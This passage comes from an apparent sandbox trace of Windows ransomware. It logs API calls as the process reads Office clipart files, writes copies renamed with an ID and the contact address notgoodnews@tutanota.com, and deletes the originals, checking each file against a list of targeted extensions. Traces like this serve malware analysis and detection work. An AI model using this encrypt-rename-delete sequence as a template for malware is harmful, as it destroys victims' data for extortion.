lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0161.580] GetLastError () returned 0x0 [0161.580] ReadFile (in: hFile=0x478, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x318, lpOverlapped=0x0) returned 1 [0162.072] WriteFile (in: hFile=0x4c0, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x320, lpOverlapped=0x0) returned 1 [0162.075] ReadFile (in: hFile=0x478, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.075] WriteFile (in: hFile=0x4c0, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.075] SetEndOfFile (hFile=0x4c0) returned 1 [0162.075] CloseHandle (hObject=0x4c0) returned 1 [0162.075] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.075] SetEndOfFile (hFile=0x478) returned 1 [0162.079] CloseHandle (hObject=0x478) returned 1 [0162.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0162.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 1 [0163.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0163.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0163.197] lstrlenW (lpString=".doc") returned 4 [0163.197] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.197] lstrlenW (lpString=".docx") returned 5 [0163.197] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0163.197] lstrlenW (lpString=".pdf") returned 4 [0163.197] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.197] lstrlenW (lpString=".xls") returned 4 [0163.197] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.197] lstrlenW (lpString=".xlsx") returned 5 [0163.197] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0163.197] lstrlenW (lpString=".ppt") returned 4 [0163.197] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0163.197] lstrlenW (lpString=".zip") returned 4 [0163.197] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.197] lstrlenW (lpString=".rar") returned 4 [0163.197] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.197] lstrlenW (lpString=".bz2") returned 4 [0163.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.197] lstrlenW (lpString=".7z") returned 3 [0163.197] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0163.197] lstrlenW (lpString=".dbf") returned 4 [0163.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0163.198] lstrlenW (lpString=".1cd") returned 4 [0163.198] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0163.198] lstrlenW (lpString=".jpg") returned 4 [0163.198] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0163.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0163.198] lstrlenW (lpString=".doc") returned 4 [0163.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.198] lstrlenW (lpString=".docx") returned 5 [0163.198] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0163.198] lstrlenW (lpString=".pdf") returned 4 [0163.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.198] lstrlenW (lpString=".xls") returned 4 [0163.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.198] lstrlenW (lpString=".xlsx") returned 5 [0163.198] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0163.198] lstrlenW (lpString=".ppt") returned 4 [0163.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0163.198] lstrlenW (lpString=".zip") returned 4 [0163.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.198] lstrlenW (lpString=".rar") returned 4 [0163.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.198] lstrlenW (lpString=".bz2") returned 4 [0163.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.198] lstrlenW (lpString=".7z") returned 3 [0163.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0163.198] lstrlenW (lpString=".dbf") returned 4 [0163.198] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0163.199] lstrlenW (lpString=".1cd") returned 4 [0163.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0163.199] lstrlenW (lpString=".jpg") returned 4 [0163.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.199] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0163.199] lstrlenW (lpString="J0086426.WMF") returned 12 [0163.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0163.828] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=21782) returned 1 [0163.828] CloseHandle (hObject=0x4e4) returned 1 [0163.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 0x220 [0163.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0163.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0163.829] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.829] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0163.873] GetLastError () returned 0x0 [0163.873] ReadFile (in: hFile=0x4e4, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x5516, lpOverlapped=0x0) returned 1 [0163.896] WriteFile (in: hFile=0x4f8, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x5520, lpOverlapped=0x0) returned 1 [0163.898] ReadFile (in: hFile=0x4e4, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.899] WriteFile (in: hFile=0x4f8, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0163.899] SetEndOfFile (hFile=0x4f8) returned 1 [0163.899] CloseHandle (hObject=0x4f8) returned 1 [0163.899] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.899] SetEndOfFile (hFile=0x4e4) returned 1 [0164.233] CloseHandle (hObject=0x4e4) returned 1 [0164.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0164.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 1 [0164.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0164.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0164.234] lstrlenW (lpString=".doc") returned 4 [0164.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.234] lstrlenW (lpString=".docx") returned 5 [0164.234] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0164.234] lstrlenW (lpString=".pdf") returned 4 [0164.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.234] lstrlenW (lpString=".xls") returned 4 [0164.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.234] lstrlenW (lpString=".xlsx") returned 5 [0164.234] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0164.234] lstrlenW (lpString=".ppt") returned 4 [0164.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0164.234] lstrlenW (lpString=".zip") returned 4 [0164.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.234] lstrlenW (lpString=".rar") returned 4 [0164.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.234] lstrlenW (lpString=".bz2") returned 4 [0164.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.234] lstrlenW (lpString=".7z") returned 3 [0164.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0164.235] lstrlenW (lpString=".dbf") returned 4 [0164.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0164.235] lstrlenW (lpString=".1cd") returned 4 [0164.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0164.235] lstrlenW (lpString=".jpg") returned 4 [0164.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0164.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0164.235] lstrlenW (lpString=".doc") returned 4 [0164.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.235] lstrlenW (lpString=".docx") returned 5 [0164.235] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0164.235] lstrlenW (lpString=".pdf") returned 4 [0164.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.235] lstrlenW (lpString=".xls") returned 4 [0164.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.235] lstrlenW (lpString=".xlsx") returned 5 [0164.235] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0164.235] lstrlenW (lpString=".ppt") returned 4 [0164.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0164.235] lstrlenW (lpString=".zip") returned 4 [0164.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.235] lstrlenW (lpString=".rar") returned 4 [0164.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.235] lstrlenW (lpString=".bz2") returned 4 [0164.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.235] lstrlenW (lpString=".7z") returned 3 [0164.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0164.235] lstrlenW (lpString=".dbf") returned 4 [0164.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0164.236] lstrlenW (lpString=".1cd") returned 4 [0164.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0164.236] lstrlenW (lpString=".jpg") returned 4 [0164.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.236] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0164.236] lstrlenW (lpString="J0090089.WMF") returned 12 [0164.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0164.237] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=15760) returned 1 [0164.237] CloseHandle (hObject=0x4e4) returned 1 [0164.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 0x220 [0164.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0164.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0164.237] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.237] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504 [0164.238] GetLastError () returned 0x0 [0164.238] ReadFile (in: hFile=0x4e4, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x3d90, lpOverlapped=0x0) returned 1 [0164.241] WriteFile (in: hFile=0x504, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x3da0, lpOverlapped=0x0) returned 1 [0164.243] ReadFile (in: hFile=0x4e4, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.243] WriteFile (in: hFile=0x504, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.243] SetEndOfFile (hFile=0x504) returned 1 [0164.243] CloseHandle (hObject=0x504) returned 1 [0164.243] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.243] SetEndOfFile (hFile=0x4e4) returned 1 [0164.247] CloseHandle (hObject=0x4e4) returned 1 [0164.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0164.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 1 [0164.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.248] lstrlenW (lpString=".doc") returned 4 [0164.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.248] lstrlenW (lpString=".docx") returned 5 [0164.248] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0164.248] lstrlenW (lpString=".pdf") returned 4 [0164.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.248] lstrlenW (lpString=".xls") returned 4 [0164.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.248] lstrlenW (lpString=".xlsx") returned 5 [0164.248] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0164.248] lstrlenW (lpString=".ppt") returned 4 [0164.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.248] lstrlenW (lpString=".zip") returned 4 [0164.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.248] lstrlenW (lpString=".rar") returned 4 [0164.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.248] lstrlenW (lpString=".bz2") returned 4 [0164.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.248] lstrlenW (lpString=".7z") returned 3 [0164.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.249] lstrlenW (lpString=".dbf") returned 4 [0164.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.249] lstrlenW (lpString=".1cd") returned 4 [0164.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.249] lstrlenW (lpString=".jpg") returned 4 [0164.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.249] lstrlenW (lpString=".doc") returned 4 [0164.249] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.249] lstrlenW (lpString=".docx") returned 5 [0164.249] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0164.249] lstrlenW (lpString=".pdf") returned 4 [0164.249] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.249] lstrlenW (lpString=".xls") returned 4 [0164.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.249] lstrlenW (lpString=".xlsx") returned 5 [0164.249] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0164.249] lstrlenW (lpString=".ppt") returned 4 [0164.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.249] lstrlenW (lpString=".zip") returned 4 [0164.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.249] lstrlenW (lpString=".rar") returned 4 [0164.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.249] lstrlenW (lpString=".bz2") returned 4 [0164.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.249] lstrlenW (lpString=".7z") returned 3 [0164.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.250] lstrlenW (lpString=".dbf") returned 4 [0164.250] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.250] lstrlenW (lpString=".1cd") returned 4 [0164.250] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.250] lstrlenW (lpString=".jpg") returned 4 [0164.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.250] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0164.250] lstrlenW (lpString="J0090149.WMF") returned 12 [0164.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0164.251] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=28212) returned 1 [0164.251] CloseHandle (hObject=0x4e4) returned 1 [0164.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 0x220 [0164.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0164.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0164.251] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.251] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504 [0164.252] GetLastError () returned 0x0 [0164.252] ReadFile (in: hFile=0x4e4, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | 